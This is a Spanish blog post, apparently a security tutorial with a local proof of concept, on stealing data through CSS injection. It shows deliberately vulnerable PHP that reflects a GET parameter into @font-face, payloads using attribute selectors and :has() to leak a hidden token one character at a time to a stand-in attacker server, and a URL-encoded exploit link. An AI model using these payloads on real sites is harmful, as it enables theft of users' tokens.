M谩s All谩 de XSS - Exfiltraci贸n de Datos mediante Inyecci贸n CSS


驴Es posible exfiltrar datos sensibles sin ejecutar una sola l铆nea de c贸digo? Mientras la industria concentra sus esfuerzos en mitigar el XSS, la Inyecci贸n CSS opera como un vector silencioso. A continuaci贸n, analizamos c贸mo esta vulnerabilidad convierte las hojas de estilo en mecanismos de extracci贸n de informaci贸n, capaces de evadir los controles de seguridad habituales.

La Peligrosidad Oculta del CSS

El CSS, cuyo prop贸sito principal es dar estilo a los documentos, se ha convertido en un lenguaje sorprendentemente potente. Cuando un atacante logra inyectar c贸digo CSS arbitrario en una p谩gina, puede aprovechar dos caracter铆sticas clave del lenguaje:

  1. Selectores de Atributos: Permiten aplicar estilos solo a elementos cuyos atributos (como value, data-id, o name) contienen, comienzan o terminan con una cadena espec铆fica.
  2. Carga de Recursos Externos (url()): Propiedades como background-image, list-style-image, o @font-face obligan al navegador a realizar una solicitud HTTP a una URL definida.

La combinaci贸n de estas dos caracter铆sticas permite un ataque de b煤squeda por fuerza bruta ciega: el atacante deduce el contenido de un campo sensible car谩cter por car谩cter.

Mec谩nica del Ataque

Para que el ataque funcione, el atacante despliega un servidor web al cual le llegan peticiones del cliente. El proceso es el siguiente:

  1. Objetivo: Identificar un elemento HTML que contenga el dato secreto (ej. <input value="t0k3n_secreto">).
  2. Selector Espec铆fico: Inyectar una regla CSS que intente adivinar el primer car谩cter del valor: input[value^="a"] { background-image: url("https://atacante.com/log?c=a"); }
  3. Deducci贸n:
    • Si el valor comienza con 'a', el selector coincide. El navegador realiza la solicitud GET al servidor del atacante: /log?c=a.
    • Si el valor no comienza con 'a', el selector no coincide. No se realiza ninguna solicitud.
  4. Refinamiento: El atacante prueba input[value^="b"], input[value^="c"], etc., hasta que el log de su servidor muestra la primera solicitud exitosa.
  5. Iteraci贸n: Una vez que se sabe que el valor comienza con 't', se prueba input[value^="t0"], input[value^="t1"], y as铆 sucesivamente, hasta exfiltrar el string completo.

PoC

El objetivo de esta PoC es ilustrar c贸mo exfiltrar un token oculto (s3cret-token) manipulando un punto de inyecci贸n CSS mal sanitizado.

En este escenario, el servidor recibe el par谩metro font_url v铆a GET y lo refleja directamente dentro de una regla @font-face.

<style>
  @font-face {
    src: url('<?php echo $_GET['font_url']; ?>'); /*La vulnerabilidad se produce aqu铆 */
  }
</style>

<input type="hidden" id="secret" value="s3cret-token" />

Escapando del contexto

Antes de inyectar nuestro propio c贸digo CSS, debemos asegurarnos de cerrar el contexto de la regla @font-face sin romper la sintaxis. Para ello, conviene terminar la propiedad src con un descriptor de formato v谩lido y cerrar el bloque.

Dado que el script PHP imprime nuestro input ($_GET['font_url']) dentro de una funci贸n url() que ya est谩 abierta, nuestro payload debe encargarse de "cerrar" esa estructura que el servidor inici贸. Al enviar '), cerramos la URL, y al a帽adir format('woff'), completamos la propiedad para que sea v谩lida.

@font-face {
    src: format('woff');
}

El Reto del Input "Hidden"

Un enfoque ingenuo ser铆a intentar aplicar un estilo con imagen de fondo directamente sobre el input.

input[id="secret"][value^="s"] {
    background-image: url('http://<IP>/?char=s');
}

Sin embargo, esto no funcionar谩. Los navegadores modernos optimizan el renderizado: si un elemento es type="hidden" o tiene display: none, el navegador no intenta pintar su fondo y, por tanto, nunca realiza la petici贸n HTTP necesaria para la exfiltraci贸n.

No obstante, este ser铆a el payload para probar:

') format('woff'); } input[id="secret"][value^="s"] { background: url('http://<IP>:8000/?char=s'); } /*

La Soluci贸n: Pseudo-clase :has()

Para evadir esta limitaci贸n, utilizamos la pseudo-clase :has(). En lugar de aplicar el estilo al input oculto, aplicamos el estilo al elemento html (que siempre es visible) condicionado a la existencia del input con el valor deseado.

El payload debe realizar dos acciones:

  1. Cerrar el contexto de la regla @font-face original.
  2. Inyectar el selector malicioso sobre la etiqueta html.

El payload quedar铆a de la siguiente manera:

') format('woff'); } html:has(input[id="secret"][value^="s"]) { background: url('http://<IP>:8000/?char=s'); } /*

Ejecuci贸n del Ataque

Dicho payload se introduce en formato URL encode dentro del navegador:

http://localhost/?font_url=%27%29%20format%28%27woff%27%29%3B%20%7D%20html%3Ahas%28input%5Bid%3D%22secret%22%5D%5Bvalue%5E%3D%22s%22%5D%29%20%7B%20background%3A%20url%28%27http%3A%2F%2Flocalhost%3A8000%2F%3Fchar%3Ds%27%29%3B%20%7D%20%2F%2A

En mi caso, desplegu茅 el PHP en local por el puerto y el servidor de atacante en el 8000.

Y recibimos el siguiente resultado:

Pr贸ximos Pasos

La extracci贸n manual car谩cter por car谩cter es inviable para tokens largos, ya que requerir铆a generar archivos CSS gigantescos con todas las combinaciones posibles. En la pr贸xima entrega, presentar茅 una herramienta desarrollada para automatizar este proceso mediante un servidor que genera las reglas CSS bajo demanda.

M谩s All谩 de XSS - Exfiltraci贸n de Datos mediante Inyecci贸n CSS | Rubbx